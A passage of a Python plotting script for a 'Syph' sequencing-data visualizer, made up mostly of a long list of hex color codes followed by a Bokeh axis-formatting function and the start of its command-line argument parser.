'#feff97', '#fd81eb', '#8fb8ff', '#bdffa3', '#ffb5b5', '#0f4c81', '#d7d8ee','#73c7de','#aaaacc','#758eb7', '#f2b6ae', '#f0a890', '#a860a8', '#604890', '#f07878', '#443133', '#ffdecc', '#65bfc1','#ffad19', '#ff9e7d', '#dda97b','#a1b1cc','#d6a562','#c9a48f','#c7906d','#f9733e','#ffc104', '#624a4c', '#c1b8c9', "#FFFF00", "#1CE6FF", "#FF34FF", "#FF4A46", "#008941", "#006FA6", "#A30059","#FFDBE5", "#7A4900", "#0000A6", "#63FFAC", "#B79762", "#004D43", "#8FB0FF", "#997D87","#5A0007", "#809693", "#FEFFE6", "#1B4400", "#4FC601", "#3B5DFF", "#4A3B53", "#FF2F80","#61615A", "#BA0900", "#6B7900", "#00C2A0", "#FFAA92", "#FF90C9", "#B903AA", "#D16100","#DDEFFF", "#000035", "#7B4F4B", "#A1C299", "#300018", "#0AA6D8", "#013349", "#00846F","#372101", "#FFB500", "#C2FFED", "#A079BF", "#CC0744", "#C0B9B2", "#C2FF99", "#001E09","#00489C", "#6F0062", "#0CBD66", "#EEC3FF", "#456D75", "#B77B68", "#7A87A1", "#788D66","#885578", "#FAD09F", "#FF8A9A", "#D157A0", "#BEC459", "#456648", "#0086ED", "#886F4C",
"#34362D", "#B4A8BD", "#00A6AA", "#452C2C", "#636375", "#A3C8C9", "#FF913F", "#938A81","#575329", "#00FECF", "#B05B6F", "#8CD0FF", "#3B9700", "#04F757", "#C8A1A1", "#1E6E00","#7900D7", "#A77500", "#6367A9", "#A05837", "#6B002C", "#772600", "#D790FF", "#9B9700","#549E79", "#FFF69F", "#201625", "#72418F", "#BC23FF", "#99ADC0", "#3A2465", "#922329","#5B4534", "#FDE8DC", "#404E55", "#0089A3", "#CB7E98", "#A4E804", "#324E72", "#6A3A4C","#83AB58", "#001C1E", "#D1F7CE", "#004B28", "#C8D0F6", "#A3A489", "#806C66", "#222800","#BF5650", "#E83000", "#66796D", "#DA007C", "#FF1A59", "#8ADBB4", "#1E0200", "#5B4E51",
"#C895C5", "#320033", "#FF6832", "#66E1D3", "#CFCDAC", "#D0AC94", "#7ED379", "#012C58","#7A7BFF", "#D68E01", "#353339", "#78AFA1", "#FEB2C6", "#75797C", "#837393", "#943A4D","#B5F4FF", "#D2DCD5", "#9556BD", "#6A714A", "#001325", "#02525F", "#0AA3F7", "#E98176","#DBD5DD", "#5EBCD1", "#3D4F44", "#7E6405", "#02684E", "#962B75", "#8D8546", "#9695C5","#E773CE", "#D86A78", "#3E89BE", "#CA834E", "#518A87", "#5B113C", "#55813B", "#E704C4","#00005F", "#A97399", "#4B8160", "#59738A", "#FF5DA7", "#F7C9BF", "#643127", "#513A01","#6B94AA", "#51A058", "#A45B02", "#1D1702", "#E20027", "#E7AB63", "#4C6001", "#9C6966","#64547B", "#97979E", "#006A66", "#391406", "#F4D749", "#0045D2", "#006C31", "#DDB6D0",
"#7C6571", "#9FB2A4", "#00D891", "#15A08A", "#BC65E9", "#FFFFFE", "#C6DC99", "#203B3C","#671190", "#6B3A64", "#F5E1FF", "#FFA0F2", "#CCAA35", "#374527", "#8BB400", "#797868","#C6005A", "#3B000A", "#C86240", "#29607C", "#402334", "#7D5A44", "#CCB87C", "#B88183","#AA5199", "#B5D6C3", "#A38469", "#9F94F0", "#A74571", "#B894A6", "#71BB8C", "#00B433","#789EC9", "#6D80BA", "#953F00", "#5EFF03", "#E4FFFC", "#1BE177", "#BCB1E5", "#76912F","#003109", "#0060CD", "#D20096", "#895563", "#29201D", "#5B3213", "#A76F42", "#89412E","#1A3A2A", "#494B5A", "#A88C85", "#F4ABAA", "#A3F3AB", "#00C6C8", "#EA8B66", "#958A9F","#BDC9D2", "#9FA064", "#BE4700", "#658188", "#83A485", "#453C23", "#47675D", "#3A3F00",
"#061203", "#DFFB71", "#868E7E", "#98D058", "#6C8F7D", "#D7BFC2", "#3C3E6E", "#D83D66","#2F5D9B", "#6C5E46", "#D25B88", "#5B656C", "#00B57F", "#545C46", "#866097", "#365D25","#252F99", "#00CCFF", "#674E60", "#FC009C", "#92896B",'#5e4fa2', '#3288bd', '#66c2a5', '#abdda4', '#e6f598', '#ffffbf', '#fee08b', '#fdae61','#f46d43', '#d53e4f', '#9e0142','#8dd3c7', '#ffffb3', '#bebada', '#fb8072', '#80b1d3', '#fdb462', '#b3de69', '#fccde5','#d9d9d9','#bc80bd', '#ccebc5', '#ffed6f','#66c2a5', '#fc8d62', '#8da0cb', '#e78ac3', '#a6d854', '#ffd92f', '#e5c494', '#b3b3b3','#1b9e77', '#d95f02', '#7570b3', '#e7298a', '#66a61e', '#e6ab02', '#a6761d', '#666666','#bc9797', '#a0db8e', '#d69ce1', '#caffcd', '#ffcaf8', '#cafff7', '#f1b4b2', '#030449',
'#003366', '#dec9ab', '#d25757', '#f7d708','#1c29b5', '#b0c997', '#005555', '#f9c3d3', '#0f4c81', '#edc06a', '#bd5915', '#b097c9', '#c2002c', '#808080', '#feff97', '#fd81eb', '#8fb8ff', '#bdffa3', '#ffb5b5', '#0f4c81', '#d7d8ee','#73c7de','#aaaacc','#758eb7', '#f2b6ae', '#f0a890', '#a860a8', '#604890', '#f07878', '#443133', '#ffdecc', '#65bfc1','#ffad19', '#ff9e7d', '#dda97b','#a1b1cc','#d6a562','#c9a48f','#c7906d','#f9733e', '#ffc104', '#624a4c', '#c1b8c9',"#FFFF00", "#1CE6FF", "#FF34FF", "#FF4A46", "#008941", "#006FA6", "#A30059","#FFDBE5", "#7A4900", "#0000A6", "#63FFAC", "#B79762", "#004D43", "#8FB0FF", "#997D87","#5A0007", "#809693", "#FEFFE6", "#1B4400", "#4FC601", "#3B5DFF", "#4A3B53", "#FF2F80",
"#61615A", "#BA0900", "#6B7900", "#00C2A0", "#FFAA92", "#FF90C9", "#B903AA", "#D16100","#DDEFFF", "#000035", "#7B4F4B", "#A1C299", "#300018", "#0AA6D8", "#013349", "#00846F","#372101", "#FFB500", "#C2FFED", "#A079BF", "#CC0744", "#C0B9B2", "#C2FF99", "#001E09","#00489C", "#6F0062", "#0CBD66", "#EEC3FF", "#456D75", "#B77B68", "#7A87A1", "#788D66","#885578", "#FAD09F", "#FF8A9A", "#D157A0", "#BEC459", "#456648", "#0086ED", "#886F4C","#34362D", "#B4A8BD", "#00A6AA", "#452C2C", "#636375", "#A3C8C9", "#FF913F", "#938A81","#575329", "#00FECF", "#B05B6F", "#8CD0FF", "#3B9700", "#04F757", "#C8A1A1", "#1E6E00","#7900D7", "#A77500", "#6367A9", "#A05837", "#6B002C", "#772600", "#D790FF", "#9B9700",
"#549E79", "#FFF69F", "#201625", "#72418F", "#BC23FF", "#99ADC0", "#3A2465", "#922329","#5B4534", "#FDE8DC", "#404E55", "#0089A3", "#CB7E98", "#A4E804", "#324E72", "#6A3A4C","#83AB58", "#001C1E", "#D1F7CE", "#004B28", "#C8D0F6", "#A3A489", "#806C66", "#222800","#BF5650", "#E83000", "#66796D", "#DA007C", "#FF1A59", "#8ADBB4", "#1E0200", "#5B4E51","#C895C5", "#320033", "#FF6832", "#66E1D3", "#CFCDAC", "#D0AC94", "#7ED379", "#012C58","#7A7BFF", "#D68E01", "#353339", "#78AFA1", "#FEB2C6", "#75797C", "#837393", "#943A4D","#B5F4FF", "#D2DCD5", "#9556BD", "#6A714A", "#001325", "#02525F", "#0AA3F7", "#E98176","#DBD5DD", "#5EBCD1", "#3D4F44", "#7E6405", "#02684E", "#962B75", "#8D8546", "#9695C5",
"#E773CE", "#D86A78", "#3E89BE", "#CA834E", "#518A87", "#5B113C", "#55813B", "#E704C4","#00005F", "#A97399", "#4B8160", "#59738A", "#FF5DA7", "#F7C9BF", "#643127", "#513A01","#6B94AA", "#51A058", "#A45B02", "#1D1702", "#E20027", "#E7AB63", "#4C6001", "#9C6966","#64547B", "#97979E", "#006A66", "#391406", "#F4D749", "#0045D2", "#006C31", "#DDB6D0","#7C6571", "#9FB2A4", "#00D891", "#15A08A", "#BC65E9", "#FFFFFE", "#C6DC99", "#203B3C","#671190", "#6B3A64", "#F5E1FF", "#FFA0F2", "#CCAA35", "#374527", "#8BB400", "#797868","#C6005A", "#3B000A", "#C86240", "#29607C", "#402334", "#7D5A44", "#CCB87C", "#B88183","#AA5199", "#B5D6C3", "#A38469", "#9F94F0", "#A74571", "#B894A6", "#71BB8C", "#00B433","#789EC9", "#6D80BA", "#953F00", "#5EFF03", "#E4FFFC", "#1BE177", "#BCB1E5", "#76912F","#003109", "#0060CD", "#D20096", "#895563", "#29201D", "#5B3213", "#A76F42", "#89412E",
"#1A3A2A", "#494B5A", "#A88C85", "#F4ABAA", "#A3F3AB", "#00C6C8", "#EA8B66", "#958A9F","#BDC9D2", "#9FA064", "#BE4700", "#658188", "#83A485", "#453C23", "#47675D", "#3A3F00","#061203", "#DFFB71", "#868E7E", "#98D058", "#6C8F7D", "#D7BFC2", "#3C3E6E", "#D83D66","#2F5D9B", "#6C5E46", "#D25B88", "#5B656C", "#00B57F", "#545C46", "#866097", "#365D25","#252F99", "#00CCFF", "#674E60", "#FC009C", "#92896B",'#5e4fa2', '#3288bd', '#66c2a5', '#abdda4', '#e6f598', '#ffffbf', '#fee08b', '#fdae61', '#f46d43', '#d53e4f', '#9e0142','#003366', '#dec9ab', '#d25757', '#f7d708','#1c29b5', '#b0c997', '#005555', '#f9c3d3', '#0f4c81', '#edc06a', '#bd5915', '#b097c9', '#c2002c', '#808080', '#66c2a5', '#fc8d62', '#8da0cb', '#e78ac3', '#a6d854', '#ffd92f', '#e5c494', '#b3b3b3','#1b9e77', '#d95f02', '#7570b3', '#e7298a', '#66a61e', '#e6ab02', '#a6761d', '#666666','#8dd3c7', '#ffffb3', '#bebada', '#fb8072', '#80b1d3', '#fdb462', '#b3de69', '#fccde5', '#d9d9d9','#bc80bd', '#ccebc5', '#ffed6f',
'#bc9797', '#a0db8e', '#d69ce1', '#caffcd', '#ffcaf8', '#cafff7', '#f1b4b2', '#030449', '#feff97', '#fd81eb', '#8fb8ff', '#bdffa3', '#ffb5b5', '#0f4c81', '#d7d8ee','#73c7de','#aaaacc','#758eb7', '#f2b6ae', '#f0a890', '#a860a8', '#604890', '#f07878', '#443133', '#ffdecc', '#65bfc1','#ffad19', '#ff9e7d', '#dda97b','#a1b1cc','#d6a562','#c9a48f','#c7906d','#f9733e', '#ffc104', '#624a4c', '#c1b8c9',"#FFFF00", "#1CE6FF", "#FF34FF", "#FF4A46", "#008941", "#006FA6", "#A30059","#FFDBE5", "#7A4900", "#0000A6", "#63FFAC", "#B79762", "#004D43", "#8FB0FF", "#997D87","#5A0007", "#809693", "#FEFFE6", "#1B4400", "#4FC601", "#3B5DFF", "#4A3B53", "#FF2F80","#61615A", "#BA0900", "#6B7900", "#00C2A0", "#FFAA92", "#FF90C9", "#B903AA", "#D16100","#DDEFFF", "#000035", "#7B4F4B", "#A1C299", "#300018", "#0AA6D8", "#013349", "#00846F","#372101", "#FFB500", "#C2FFED", "#A079BF", "#CC0744", "#C0B9B2", "#C2FF99", "#001E09","#00489C", "#6F0062", "#0CBD66", "#EEC3FF", "#456D75", "#B77B68", "#7A87A1", "#788D66",
"#885578", "#FAD09F", "#FF8A9A", "#D157A0", "#BEC459", "#456648", "#0086ED", "#886F4C","#34362D", "#B4A8BD", "#00A6AA", "#452C2C", "#636375", "#A3C8C9", "#FF913F", "#938A81","#575329", "#00FECF", "#B05B6F", "#8CD0FF", "#3B9700", "#04F757", "#C8A1A1", "#1E6E00","#7900D7", "#A77500", "#6367A9", "#A05837", "#6B002C", "#772600", "#D790FF", "#9B9700","#549E79", "#FFF69F", "#201625", "#72418F", "#BC23FF", "#99ADC0", "#3A2465", "#922329", "#5B4534", "#FDE8DC", "#404E55", "#0089A3", "#CB7E98", "#A4E804", "#324E72", "#6A3A4C","#83AB58", "#001C1E", "#D1F7CE", "#004B28", "#C8D0F6", "#A3A489", "#806C66", "#222800","#BF5650", "#E83000", "#66796D", "#DA007C", "#FF1A59", "#8ADBB4", "#1E0200", "#5B4E51",
"#C895C5", "#320033", "#FF6832", "#66E1D3", "#CFCDAC", "#D0AC94", "#7ED379", "#012C58","#7A7BFF", "#D68E01", "#353339", "#78AFA1", "#FEB2C6", "#75797C", "#837393", "#943A4D","#B5F4FF", "#D2DCD5", "#9556BD", "#6A714A", "#001325", "#02525F", "#0AA3F7", "#E98176","#DBD5DD", "#5EBCD1", "#3D4F44", "#7E6405", "#02684E", "#962B75", "#8D8546", "#9695C5","#E773CE", "#D86A78", "#3E89BE", "#CA834E", "#518A87", "#5B113C", "#55813B", "#E704C4","#00005F", "#A97399", "#4B8160", "#59738A", "#FF5DA7", "#F7C9BF", "#643127", "#513A01","#6B94AA", "#51A058", "#A45B02", "#1D1702", "#E20027", "#E7AB63", "#4C6001", "#9C6966","#64547B", "#97979E", "#006A66", "#391406", "#F4D749", "#0045D2", "#006C31", "#DDB6D0",
"#7C6571", "#9FB2A4", "#00D891", "#15A08A", "#BC65E9", "#FFFFFE", "#C6DC99", "#203B3C","#671190", "#6B3A64", "#F5E1FF", "#FFA0F2", "#CCAA35", "#374527", "#8BB400", "#797868","#C6005A", "#3B000A", "#C86240", "#29607C", "#402334", "#7D5A44", "#CCB87C", "#B88183","#AA5199", "#B5D6C3", "#A38469", "#9F94F0", "#A74571", "#B894A6", "#71BB8C", "#00B433","#789EC9", "#6D80BA", "#953F00", "#5EFF03", "#E4FFFC", "#1BE177", "#BCB1E5", "#76912F","#003109", "#0060CD", "#D20096", "#895563", "#29201D", "#5B3213", "#A76F42", "#89412E","#1A3A2A", "#494B5A", "#A88C85", "#F4ABAA", "#A3F3AB", "#00C6C8", "#EA8B66", "#958A9F", "#BDC9D2", "#9FA064", "#BE4700", "#658188", "#83A485", "#453C23", "#47675D", "#3A3F00",
"#061203", "#DFFB71", "#868E7E", "#98D058", "#6C8F7D", "#D7BFC2", "#3C3E6E", "#D83D66","#2F5D9B", "#6C5E46", "#D25B88", "#5B656C", "#00B57F", "#545C46", "#866097", "#365D25","#252F99", "#00CCFF", "#674E60", "#FC009C", "#92896B",
'#5e4fa2', '#3288bd', '#66c2a5', '#abdda4', '#e6f598', '#ffffbf', '#fee08b', '#fdae61', '#f46d43', '#d53e4f', '#9e0142','#003366', '#dec9ab', '#d25757', '#f7d708','#1c29b5', '#b0c997', '#005555', '#f9c3d3', '#0f4c81','#edc06a', '#bd5915', '#b097c9', '#c2002c', '#808080', '#66c2a5', '#fc8d62', '#8da0cb', '#e78ac3', '#a6d854', '#ffd92f', '#e5c494', '#b3b3b3','#1b9e77', '#d95f02', '#7570b3', '#e7298a', '#66a61e', '#e6ab02', '#a6761d', '#666666','#8dd3c7', '#ffffb3', '#bebada', '#fb8072', '#80b1d3', '#fdb462', '#b3de69', '#fccde5','#d9d9d9','#bc80bd', '#ccebc5', '#ffed6f', '#bc9797', '#a0db8e', '#d69ce1', '#caffcd', '#ffcaf8', '#cafff7', '#f1b4b2', '#030449',
'#feff97', '#fd81eb', '#8fb8ff', '#bdffa3', '#ffb5b5', '#0f4c81', '#d7d8ee','#73c7de','#aaaacc','#758eb7', '#f2b6ae', '#f0a890', '#a860a8', '#604890', '#f07878', '#443133', '#ffdecc', '#65bfc1','#ffad19', '#ff9e7d', '#dda97b','#a1b1cc','#d6a562','#c9a48f','#c7906d','#f9733e','#ffc104', '#624a4c', '#c1b8c9', "#FFFF00", "#1CE6FF", "#FF34FF", "#FF4A46", "#008941", "#006FA6", "#A30059","#FFDBE5", "#7A4900", "#0000A6", "#63FFAC", "#B79762", "#004D43", "#8FB0FF", "#997D87","#5A0007", "#809693", "#FEFFE6", "#1B4400", "#4FC601", "#3B5DFF", "#4A3B53", "#FF2F80","#61615A", "#BA0900", "#6B7900", "#00C2A0", "#FFAA92", "#FF90C9", "#B903AA", "#D16100","#DDEFFF", "#000035", "#7B4F4B", "#A1C299", "#300018", "#0AA6D8", "#013349", "#00846F","#372101", "#FFB500", "#C2FFED", "#A079BF", "#CC0744", "#C0B9B2", "#C2FF99", "#001E09","#00489C", "#6F0062", "#0CBD66", "#EEC3FF", "#456D75", "#B77B68", "#7A87A1", "#788D66","#885578", "#FAD09F", "#FF8A9A", "#D157A0", "#BEC459", "#456648", "#0086ED", "#886F4C",
"#34362D", "#B4A8BD", "#00A6AA", "#452C2C", "#636375", "#A3C8C9", "#FF913F", "#938A81","#575329", "#00FECF", "#B05B6F", "#8CD0FF", "#3B9700", "#04F757", "#C8A1A1", "#1E6E00","#7900D7", "#A77500", "#6367A9", "#A05837", "#6B002C", "#772600", "#D790FF", "#9B9700","#549E79", "#FFF69F", "#201625", "#72418F", "#BC23FF", "#99ADC0", "#3A2465", "#922329","#5B4534", "#FDE8DC", "#404E55", "#0089A3", "#CB7E98", "#A4E804", "#324E72", "#6A3A4C","#83AB58", "#001C1E", "#D1F7CE", "#004B28", "#C8D0F6", "#A3A489", "#806C66", "#222800","#BF5650", "#E83000", "#66796D", "#DA007C", "#FF1A59", "#8ADBB4", "#1E0200", "#5B4E51",
"#C895C5", "#320033", "#FF6832", "#66E1D3", "#CFCDAC", "#D0AC94", "#7ED379", "#012C58","#7A7BFF", "#D68E01", "#353339", "#78AFA1", "#FEB2C6", "#75797C", "#837393", "#943A4D","#B5F4FF", "#D2DCD5", "#9556BD", "#6A714A", "#001325", "#02525F", "#0AA3F7", "#E98176","#DBD5DD", "#5EBCD1", "#3D4F44", "#7E6405", "#02684E", "#962B75", "#8D8546", "#9695C5","#E773CE", "#D86A78", "#3E89BE", "#CA834E", "#518A87", "#5B113C", "#55813B", "#E704C4","#00005F", "#A97399", "#4B8160", "#59738A", "#FF5DA7", "#F7C9BF", "#643127", "#513A01","#6B94AA", "#51A058", "#A45B02", "#1D1702", "#E20027", "#E7AB63", "#4C6001", "#9C6966","#64547B", "#97979E", "#006A66", "#391406", "#F4D749", "#0045D2", "#006C31", "#DDB6D0",
"#7C6571", "#9FB2A4", "#00D891", "#15A08A", "#BC65E9", "#FFFFFE", "#C6DC99", "#203B3C","#671190", "#6B3A64", "#F5E1FF", "#FFA0F2", "#CCAA35", "#374527", "#8BB400", "#797868","#C6005A", "#3B000A", "#C86240", "#29607C", "#402334", "#7D5A44", "#CCB87C", "#B88183","#AA5199", "#B5D6C3", "#A38469", "#9F94F0", "#A74571", "#B894A6", "#71BB8C", "#00B433","#789EC9", "#6D80BA", "#953F00", "#5EFF03", "#E4FFFC", "#1BE177", "#BCB1E5", "#76912F","#003109", "#0060CD", "#D20096", "#895563", "#29201D", "#5B3213", "#A76F42", "#89412E","#1A3A2A", "#494B5A", "#A88C85", "#F4ABAA", "#A3F3AB", "#00C6C8", "#EA8B66", "#958A9F","#BDC9D2", "#9FA064", "#BE4700", "#658188", "#83A485", "#453C23", "#47675D", "#3A3F00",
"#061203", "#DFFB71", "#868E7E", "#98D058", "#6C8F7D", "#D7BFC2", "#3C3E6E", "#D83D66","#2F5D9B", "#6C5E46", "#D25B88", "#5B656C", "#00B57F", "#545C46", "#866097", "#365D25","#252F99", "#00CCFF", "#674E60", "#FC009C", "#92896B",'#5e4fa2', '#3288bd', '#66c2a5', '#abdda4', '#e6f598', '#ffffbf', '#fee08b', '#fdae61','#f46d43', '#d53e4f', '#9e0142','#8dd3c7', '#ffffb3', '#bebada', '#fb8072', '#80b1d3', '#fdb462', '#b3de69', '#fccde5','#d9d9d9','#bc80bd', '#ccebc5', '#ffed6f','#66c2a5', '#fc8d62', '#8da0cb', '#e78ac3', '#a6d854', '#ffd92f', '#e5c494', '#b3b3b3','#1b9e77', '#d95f02', '#7570b3', '#e7298a', '#66a61e', '#e6ab02', '#a6761d', '#666666','#bc9797', '#a0db8e', '#d69ce1', '#caffcd', '#ffcaf8', '#cafff7', '#f1b4b2', '#030449',
'#003366', '#dec9ab', '#d25757', '#f7d708','#1c29b5', '#b0c997', '#005555', '#f9c3d3', '#0f4c81', '#edc06a', '#bd5915', '#b097c9', '#c2002c', '#808080', '#feff97', '#fd81eb', '#8fb8ff', '#bdffa3', '#ffb5b5', '#0f4c81', '#d7d8ee','#73c7de','#aaaacc','#758eb7', '#f2b6ae', '#f0a890', '#a860a8', '#604890', '#f07878', '#443133', '#ffdecc', '#65bfc1','#ffad19', '#ff9e7d', '#dda97b','#a1b1cc','#d6a562','#c9a48f','#c7906d','#f9733e', '#ffc104', '#624a4c', '#c1b8c9',"#FFFF00", "#1CE6FF", "#FF34FF", "#FF4A46", "#008941", "#006FA6", "#A30059","#FFDBE5", "#7A4900", "#0000A6", "#63FFAC", "#B79762", "#004D43", "#8FB0FF", "#997D87","#5A0007", "#809693", "#FEFFE6", "#1B4400", "#4FC601", "#3B5DFF", "#4A3B53", "#FF2F80",
"#61615A", "#BA0900", "#6B7900", "#00C2A0", "#FFAA92", "#FF90C9", "#B903AA", "#D16100","#DDEFFF", "#000035", "#7B4F4B", "#A1C299", "#300018", "#0AA6D8", "#013349", "#00846F","#372101", "#FFB500", "#C2FFED", "#A079BF", "#CC0744", "#C0B9B2", "#C2FF99", "#001E09","#00489C", "#6F0062", "#0CBD66", "#EEC3FF", "#456D75", "#B77B68", "#7A87A1", "#788D66","#885578", "#FAD09F", "#FF8A9A", "#D157A0", "#BEC459", "#456648", "#0086ED", "#886F4C","#34362D", "#B4A8BD", "#00A6AA", "#452C2C", "#636375", "#A3C8C9", "#FF913F", "#938A81","#575329", "#00FECF", "#B05B6F", "#8CD0FF", "#3B9700", "#04F757", "#C8A1A1", "#1E6E00","#7900D7", "#A77500", "#6367A9", "#A05837", "#6B002C", "#772600", "#D790FF", "#9B9700",
"#549E79", "#FFF69F", "#201625", "#72418F", "#BC23FF", "#99ADC0", "#3A2465", "#922329","#5B4534", "#FDE8DC", "#404E55", "#0089A3", "#CB7E98", "#A4E804", "#324E72", "#6A3A4C","#83AB58", "#001C1E", "#D1F7CE", "#004B28", "#C8D0F6", "#A3A489", "#806C66", "#222800","#BF5650", "#E83000", "#66796D", "#DA007C", "#FF1A59", "#8ADBB4", "#1E0200", "#5B4E51","#C895C5", "#320033", "#FF6832", "#66E1D3", "#CFCDAC", "#D0AC94", "#7ED379", "#012C58","#7A7BFF", "#D68E01", "#353339", "#78AFA1", "#FEB2C6", "#75797C", "#837393", "#943A4D","#B5F4FF", "#D2DCD5", "#9556BD", "#6A714A", "#001325", "#02525F", "#0AA3F7", "#E98176","#DBD5DD", "#5EBCD1", "#3D4F44", "#7E6405", "#02684E", "#962B75", "#8D8546", "#9695C5",
"#E773CE", "#D86A78", "#3E89BE", "#CA834E", "#518A87", "#5B113C", "#55813B", "#E704C4","#00005F", "#A97399", "#4B8160", "#59738A", "#FF5DA7", "#F7C9BF", "#643127", "#513A01","#6B94AA", "#51A058", "#A45B02", "#1D1702", "#E20027", "#E7AB63", "#4C6001", "#9C6966","#64547B", "#97979E", "#006A66", "#391406", "#F4D749", "#0045D2", "#006C31", "#DDB6D0","#7C6571", "#9FB2A4", "#00D891", "#15A08A", "#BC65E9", "#FFFFFE", "#C6DC99", "#203B3C","#671190", "#6B3A64", "#F5E1FF", "#FFA0F2", "#CCAA35", "#374527", "#8BB400", "#797868","#C6005A", "#3B000A", "#C86240", "#29607C", "#402334", "#7D5A44", "#CCB87C", "#B88183","#AA5199", "#B5D6C3", "#A38469", "#9F94F0", "#A74571", "#B894A6", "#71BB8C", "#00B433","#789EC9", "#6D80BA", "#953F00", "#5EFF03", "#E4FFFC", "#1BE177", "#BCB1E5", "#76912F","#003109", "#0060CD", "#D20096", "#895563", "#29201D", "#5B3213", "#A76F42", "#89412E",
"#1A3A2A", "#494B5A", "#A88C85", "#F4ABAA", "#A3F3AB", "#00C6C8", "#EA8B66", "#958A9F","#BDC9D2", "#9FA064", "#BE4700", "#658188", "#83A485", "#453C23", "#47675D", "#3A3F00","#061203", "#DFFB71", "#868E7E", "#98D058", "#6C8F7D", "#D7BFC2", "#3C3E6E", "#D83D66","#2F5D9B", "#6C5E46", "#D25B88", "#5B656C", "#00B57F", "#545C46", "#866097", "#365D25","#252F99", "#00CCFF", "#674E60", "#FC009C", "#92896B",'#5e4fa2', '#3288bd', '#66c2a5', '#abdda4', '#e6f598', '#ffffbf', '#fee08b', '#fdae61', '#f46d43', '#d53e4f', '#9e0142','#003366', '#dec9ab', '#d25757', '#f7d708','#1c29b5', '#b0c997', '#005555', '#f9c3d3', '#0f4c81', '#edc06a', '#bd5915', '#b097c9', '#c2002c', '#808080', '#66c2a5', '#fc8d62', '#8da0cb', '#e78ac3', '#a6d854', '#ffd92f', '#e5c494', '#b3b3b3','#1b9e77', '#d95f02', '#7570b3', '#e7298a', '#66a61e', '#e6ab02', '#a6761d', '#666666','#8dd3c7', '#ffffb3', '#bebada', '#fb8072', '#80b1d3', '#fdb462', '#b3de69', '#fccde5', '#d9d9d9','#bc80bd', '#ccebc5', '#ffed6f',
'#bc9797', '#a0db8e', '#d69ce1', '#caffcd', '#ffcaf8', '#cafff7', '#f1b4b2', '#030449', '#feff97', '#fd81eb', '#8fb8ff', '#bdffa3', '#ffb5b5', '#0f4c81', '#d7d8ee','#73c7de','#aaaacc','#758eb7', '#f2b6ae', '#f0a890', '#a860a8', '#604890', '#f07878', '#443133', '#ffdecc', '#65bfc1','#ffad19', '#ff9e7d', '#dda97b','#a1b1cc','#d6a562','#c9a48f','#c7906d','#f9733e', '#ffc104', '#624a4c', '#c1b8c9',"#FFFF00", "#1CE6FF", "#FF34FF", "#FF4A46", "#008941", "#006FA6", "#A30059","#FFDBE5", "#7A4900", "#0000A6", "#63FFAC", "#B79762", "#004D43", "#8FB0FF", "#997D87","#5A0007", "#809693", "#FEFFE6", "#1B4400", "#4FC601", "#3B5DFF", "#4A3B53", "#FF2F80","#61615A", "#BA0900", "#6B7900", "#00C2A0", "#FFAA92", "#FF90C9", "#B903AA", "#D16100","#DDEFFF", "#000035", "#7B4F4B", "#A1C299", "#300018", "#0AA6D8", "#013349", "#00846F","#372101", "#FFB500", "#C2FFED", "#A079BF", "#CC0744", "#C0B9B2", "#C2FF99", "#001E09","#00489C", "#6F0062", "#0CBD66", "#EEC3FF", "#456D75", "#B77B68", "#7A87A1", "#788D66",
"#885578", "#FAD09F", "#FF8A9A", "#D157A0", "#BEC459", "#456648", "#0086ED", "#886F4C","#34362D", "#B4A8BD", "#00A6AA", "#452C2C", "#636375", "#A3C8C9", "#FF913F", "#938A81","#575329", "#00FECF", "#B05B6F", "#8CD0FF", "#3B9700", "#04F757", "#C8A1A1", "#1E6E00","#7900D7", "#A77500", "#6367A9", "#A05837", "#6B002C", "#772600", "#D790FF", "#9B9700","#549E79", "#FFF69F", "#201625", "#72418F", "#BC23FF", "#99ADC0", "#3A2465", "#922329", "#5B4534", "#FDE8DC", "#404E55", "#0089A3", "#CB7E98", "#A4E804", "#324E72", "#6A3A4C","#83AB58", "#001C1E", "#D1F7CE", "#004B28", "#C8D0F6", "#A3A489", "#806C66", "#222800","#BF5650", "#E83000", "#66796D", "#DA007C", "#FF1A59", "#8ADBB4", "#1E0200", "#5B4E51",
"#C895C5", "#320033", "#FF6832", "#66E1D3", "#CFCDAC", "#D0AC94", "#7ED379", "#012C58","#7A7BFF", "#D68E01", "#353339", "#78AFA1", "#FEB2C6", "#75797C", "#837393", "#943A4D","#B5F4FF", "#D2DCD5", "#9556BD", "#6A714A", "#001325", "#02525F", "#0AA3F7", "#E98176","#DBD5DD", "#5EBCD1", "#3D4F44", "#7E6405", "#02684E", "#962B75", "#8D8546", "#9695C5","#E773CE", "#D86A78", "#3E89BE", "#CA834E", "#518A87", "#5B113C", "#55813B", "#E704C4","#00005F", "#A97399", "#4B8160", "#59738A", "#FF5DA7", "#F7C9BF", "#643127", "#513A01","#6B94AA", "#51A058", "#A45B02", "#1D1702", "#E20027", "#E7AB63", "#4C6001", "#9C6966","#64547B", "#97979E", "#006A66", "#391406", "#F4D749", "#0045D2", "#006C31", "#DDB6D0",
"#7C6571", "#9FB2A4", "#00D891", "#15A08A", "#BC65E9", "#FFFFFE", "#C6DC99", "#203B3C","#671190", "#6B3A64", "#F5E1FF", "#FFA0F2", "#CCAA35", "#374527", "#8BB400", "#797868","#C6005A", "#3B000A", "#C86240", "#29607C", "#402334", "#7D5A44", "#CCB87C", "#B88183","#AA5199", "#B5D6C3", "#A38469", "#9F94F0", "#A74571", "#B894A6", "#71BB8C", "#00B433","#789EC9", "#6D80BA", "#953F00", "#5EFF03", "#E4FFFC", "#1BE177", "#BCB1E5", "#76912F","#003109", "#0060CD", "#D20096", "#895563", "#29201D", "#5B3213", "#A76F42", "#89412E","#1A3A2A", "#494B5A", "#A88C85", "#F4ABAA", "#A3F3AB", "#00C6C8", "#EA8B66", "#958A9F", "#BDC9D2", "#9FA064", "#BE4700", "#658188", "#83A485", "#453C23", "#47675D", "#3A3F00",
"#061203", "#DFFB71", "#868E7E", "#98D058", "#6C8F7D", "#D7BFC2", "#3C3E6E", "#D83D66","#2F5D9B", "#6C5E46", "#D25B88", "#5B656C", "#00B57F", "#545C46", "#866097", "#365D25","#252F99", "#00CCFF", "#674E60", "#FC009C", "#92896B",
]
def configure_plot(fig, sample_list, sample_xaxis):
fig.xaxis.major_label_overrides = dict(zip(sample_xaxis, sample_list))
fig.xaxis.minor_tick_line_color = None
fig.title.text_font_size = "28pt"
if not args.large:
fig.xaxis.major_label_text_font_size = '16pt'
fig.yaxis.major_label_text_font_size = '16pt'
fig.yaxis.axis_label = "Relative Frequency"
fig.yaxis.axis_label_text_font_size = '18pt'
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Syph visualizer for all data')
parser.add_argument('alldata_filtered', help='alldata_filtered.csv data table from tprk_pipeline.py')
